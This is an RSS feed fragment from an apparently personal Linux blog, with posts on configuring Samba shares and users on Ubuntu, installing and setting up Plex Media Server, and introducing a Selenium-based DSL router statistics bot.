&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mkdir /samba
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Set the group ownership to sambashare. This group is created during the Samba installation, later we will add all Samba users to this group:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chgrp sambashare /samba
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="creating-samba-users"&gt;
Creating Samba Users
&lt;a href="#creating-samba-users" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To create a new user named &lt;code&gt;smbuser&lt;/code&gt; use the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo useradd -M -d /samba/smbuser -s /usr/sbin/nologin -G sambashare smbuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The useradd options have the following meanings:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-M&lt;/code&gt; do not create the user’s home directory. We’ll manually create this directory.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-d samba/smbuser&lt;/code&gt; - set the user’s home directory to &lt;code&gt;/samba/smbuser&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-s /usr/sbin/nologin&lt;/code&gt; - disable shell access for this user.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-G sambashare&lt;/code&gt; - add the user to the sambashare group&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="creating-samba-users-home-directory"&gt;
Creating Samba Users Home directory
&lt;a href="#creating-samba-users-home-directory" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Create the user’s home directory and set the directory ownership to user &lt;code&gt;smbusetr&lt;/code&gt; and group &lt;code&gt;sambashare&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mkdir /samba/smbuser
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chown smbuser:sambashare /samba/smbuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="setting-samba-users-home-directory-permissions"&gt;
Setting Samba Users Home directory Permissions
&lt;a href="#setting-samba-users-home-directory-permissions" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The following command will add the setgid bit to the &lt;code&gt;/samba/smbuser&lt;/code&gt; directory so the newly created files in this directory will inherit the group of the parent directory. This way, no matter which user creates a new file, the file will have group-owner of &lt;code&gt;sambashare&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chmod &lt;span style="color:#ae81ff"&gt;2770&lt;/span&gt; /samba/smbuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="add-samba-user-to-samba-database"&gt;
Add Samba User to Samba Database
&lt;a href="#add-samba-user-to-samba-database" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Add the &lt;code&gt;smbuser&lt;/code&gt; user account to the Samba database by setting the user password:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo smbpasswd -a smbuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You will be prompted to enter and confirm the user password.&lt;/p&gt;
&lt;h3 id="enable-samba-user-account"&gt;
Enable Samba user account
&lt;a href="#enable-samba-user-account" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Once the password is set to enable the Samba account run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo smbpasswd -e smbuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="configuring-samba-shares"&gt;
Configuring Samba Shares
&lt;a href="#configuring-samba-shares" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Open the Samba configuration file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo vim /etc/samba/smb.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and append the section at the end of the file:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-conf" data-lang="conf"&gt;[smbuser]
path = /samba/smbuser
browseable = yes
read only = no
force create mode = 0660
force directory mode = 2770
valid users = smbuser @sambashare
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="samba-options"&gt;
Samba Options
&lt;a href="#samba-options" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;The options have the following meanings:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;[smbuser]&lt;/code&gt; - The names of the shares that you will use when logging in.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;path&lt;/code&gt; - The path to the share.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;browseable&lt;/code&gt; - Whether the share should be listed in the available shares list. By setting to no other users won&amp;rsquo;t be able to see the share.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;read only&lt;/code&gt; - Whether the users specified in the valid users list are able to write to this share.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;force create mode&lt;/code&gt; - Sets the permissions for the newly created files in this share.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;force directory mode&lt;/code&gt; - Sets the permissions for the newly created directories in this share.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;valid users&lt;/code&gt; - A list of users and groups that are allowed to access the share. Groups are prefixed with the @ symbol.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="restart-samba-services"&gt;
Restart Samba Services
&lt;a href="#restart-samba-services" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart smbd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart nmbd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="samba-commands"&gt;
Samba Commands
&lt;a href="#samba-commands" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="list-samba-users"&gt;
List Samba Users
&lt;a href="#list-samba-users" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;pdbedit&lt;/code&gt; is used to manage the SAM database:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo pdbedit -L -v
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="add-user-to-samba-group"&gt;
Add User to Samba Group
&lt;a href="#add-user-to-samba-group" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo usermod -aG sambashare someuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="delete-samba-users"&gt;
Delete Samba users
&lt;a href="#delete-samba-users" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Delete from Samba database:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smbpasswd -x smbuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Delete from Unix system:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;userdel -r smbuser
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://linuxize.com/post/how-to-install-and-configure-samba-on-ubuntu-18-04/"&gt;How to Install and Configure Samba on Ubuntu 18.04&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ubuntu.com/tutorials/install-and-configure-samba#1-overview"&gt;Ubuntu Tutorials - Install and Configure Samba&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ubuntu.com/server/docs/samba-file-server"&gt;Ubuntu Server Docs - File Server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.techrepublic.com/article/how-to-create-a-samba-share-on-ubuntu-server-20-04/"&gt;How to create a Samba share on Ubuntu Server 20.04&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html"&gt;Samba - Configuration file&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Plex Install</title><link>https://thanoskoutr.com/posts/plex-install/</link><pubDate>Sat, 10 Apr 2021 23:55:00 +0300</pubDate><guid>https://thanoskoutr.com/posts/plex-install/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/plex.png"/&gt;
&lt;p&gt;In this post, we will see how can install our own Plex server instance on our Ubuntu (or any Debian based) system.&lt;/p&gt;
&lt;p&gt;Plex allows us to have our own media library (movies, tv shows, music, images, videos) that we can access from any device in our local network or the outside world if we enable it.&lt;/p&gt;
&lt;p&gt;The only thing that we will need, except for a linux server, is a free Plex account that we will see where you can create, later in the process.&lt;/p&gt;
&lt;h2 id="download-plex"&gt;
Download Plex
&lt;a href="#download-plex" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Open on a browser plex downloads page and choose your platform&lt;/li&gt;
&lt;li&gt;Choose distribution, and copy download link&lt;/li&gt;
&lt;li&gt;Download on server with wget:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget https://downloads.plex.tv/plex-media-server-new/1.20.1.3252-a78fef9a9/debian/plexmediaserver_1.20.1.3252-a78fef9a9_amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="install-with-dpkg"&gt;
Install with dpkg
&lt;a href="#install-with-dpkg" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo dpkg -i plexmediaserver_1.20.1.3252-a78fef9a9_amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="check-status"&gt;
Check status
&lt;a href="#check-status" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemctl status plexmediaserver
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="if-plex-server-isnt-running-start-it-manually"&gt;
If Plex server isn&amp;rsquo;t running start it manually:
&lt;a href="#if-plex-server-isnt-running-start-it-manually" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl start plexmediaserver
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="enable-plex-repository"&gt;
Enable Plex Repository
&lt;a href="#enable-plex-repository" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;See list of files from package:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dpkg -L plexmediaserver
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Open this file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo vim /etc/apt/sources.list.d/plexmediaserver.list
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Uncomment only the last line:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#wget -q https://downloads.plex.tv/plex-keys/PlexSign.key -O - | sudo apt-key add - deb https://downloads.plex.tv/repo/deb/ public main&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Import Plex public key to apt package manager:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wget -q https://downloads.plex.tv/plex-keys/PlexSign.key -O - | sudo apt-key add -
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Update software repository index:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt update
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="permissions--ownership-on-shared-folders"&gt;
Permissions &amp;amp; Ownership (on shared folders)
&lt;a href="#permissions--ownership-on-shared-folders" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="samba-directory"&gt;
Samba Directory
&lt;a href="#samba-directory" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;h4 id="add-plex-user-to-samba-users"&gt;
Add plex user to Samba Users
&lt;a href="#add-plex-user-to-samba-users" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Instead of creating a new user for Samba, add plex user to sambashare:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo gpasswd -a plex sambashare
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="creating-samba-users-home-directory"&gt;
Creating Samba Users Home directory
&lt;a href="#creating-samba-users-home-directory" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Create the plex’s user home directory inside &lt;code&gt;samba/&lt;/code&gt; directory and set the directory ownership to user &lt;code&gt;plex&lt;/code&gt; and group &lt;code&gt;sambashare&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo mkdir samba/smbplex
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chown plex:sambashare samba/smbplex
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo chmod &lt;span style="color:#ae81ff"&gt;2770&lt;/span&gt; samba/smbplex
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="add-plex-user-to-samba-database"&gt;
Add plex user to Samba Database
&lt;a href="#add-plex-user-to-samba-database" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Add the &lt;code&gt;plex&lt;/code&gt; user account to the Samba database by setting a password. Once the password is set enable the Samba account:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo smbpasswd -a plex
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo smbpasswd -e plex
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="configuring-samba-shares"&gt;
Configuring Samba Shares
&lt;a href="#configuring-samba-shares" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;p&gt;Open the Samba configuration file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo vim /etc/samba/smb.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and append the section at the end of the file:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-conf" data-lang="conf"&gt;[smbplex]
path = /media/wd-2TB/samba/smbplex
browseable = yes
# guest ok = yes
read only = no
force create mode = 0660
force directory mode = 2770
valid users = plex @sambashare @plex
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="restart-samba-services"&gt;
Restart Samba Services
&lt;a href="#restart-samba-services" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart smbd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart nmbd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="regular-directory"&gt;
Regular Directory
&lt;a href="#regular-directory" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Make sure the group owner is a group that the &lt;code&gt;plex&lt;/code&gt; user is in.&lt;/li&gt;
&lt;li&gt;Give permission with &lt;code&gt;setfacl&lt;/code&gt; command.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="plex-media-server-initial-setup"&gt;
Plex Media Server Initial Setup
&lt;a href="#plex-media-server-initial-setup" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Open on a browser this link (replace the IP with your server&amp;rsquo;s IP): &lt;code&gt;http://192.168.1.99:32400/web&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now it is ready for the GUI setup on the browser:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sign in with your account (or create a new one if you don&amp;rsquo;t have one)&lt;/li&gt;
&lt;li&gt;Give a name to your server&lt;/li&gt;
&lt;li&gt;Select &amp;ldquo;Allow plex to access my media outside my home&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Select &amp;ldquo;Add Library&amp;rdquo;&lt;/li&gt;
&lt;li&gt;After selecting the folders you want to share with plex&lt;/li&gt;
&lt;li&gt;Select &amp;ldquo;Next&amp;rdquo; and &amp;ldquo;Done&amp;rdquo;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="further-stuff"&gt;
Further stuff
&lt;a href="#further-stuff" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Reverse Proxy&lt;/li&gt;
&lt;li&gt;HTTPS&lt;/li&gt;
&lt;li&gt;Upgrade&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.linuxbabe.com/ubuntu/install-plex-media-server-ubuntu-18-04"&gt;How to Install Plex Media Server on Ubuntu 18.04 LTS Server or Desktop&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://support.plex.tv/articles/200288596-linux-permissions-guide/"&gt;Plex - Linux Permissions Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Building a DSL Info Bot with Selenium and Plotly</title><link>https://thanoskoutr.com/posts/projects/dsl-info-bot/</link><pubDate>Tue, 06 Apr 2021 02:26:20 +0300</pubDate><guid>https://thanoskoutr.com/posts/projects/dsl-info-bot/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/dsl-info-bot.png"/&gt;
&lt;h2 id="about"&gt;
About
&lt;a href="#about" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;A python bot, that uses &lt;a href="https://www.selenium.dev/"&gt;Selenium&lt;/a&gt;, in order to automatically access the Router/Modem&amp;rsquo;s web-based setup page and get DSL Link info. It uses &lt;a href="https://plotly.com/"&gt;Plotly&lt;/a&gt; to create an interactive Plot as an HTML web page.&lt;/p&gt;
&lt;p&gt;It also supports the export of the data to an &lt;a href="https://www.influxdata.com/"&gt;InfluxDB&lt;/a&gt; Bucket for further monitoring and visualizing.&lt;/p&gt;
&lt;p&gt;Currently gets the following info:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CRC Errors&lt;/li&gt;
&lt;li&gt;FEC Errors&lt;/li&gt;
&lt;li&gt;Showtime_start&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Support for the following Routers/Modems:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ZTE Nova Routers (H267N, H288A, &amp;hellip;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The need behind this project, was to monitor my DSL Link information over time, to correlate with various internet outages or sudden internet speed issues.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;2024 Update: Right now this project is unused, since I have upgraded my internet connection to Fiber and all of these issues are gone 😄.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/github/github-original.svg" alt="GitHub" class="left" style="border-radius: 8px; max-width: 20px; margin-left: 0px; display: inline-block;" /&gt;
GitHub repository: &lt;a href="https://github.com/thanoskoutr/DSL-Info-Bot"&gt;https://github.com/thanoskoutr/DSL-Info-Bot&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="technologies"&gt;
Technologies
&lt;a href="#technologies" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;The main technologies used for this project (language, tools, libraries, database):&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/python/python-original.svg" alt="python logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/pandas/pandas-original-wordmark.svg" alt="pandas logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/plotly/plotly-original-wordmark.svg" alt="plotly logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/selenium/selenium-original.svg" alt="selenium logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;img src="https://cdn.jsdelivr.net/gh/devicons/devicon/icons/influxdb/influxdb-original-wordmark.svg" alt="influxdb logo" class="left" style="border-radius: 8px; max-width: 55px; margin-left: 10px; display: inline-block;" /&gt;
&lt;/p&gt;
&lt;h2 id="installation"&gt;
Installation
&lt;a href="#installation" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="clone-repository"&gt;
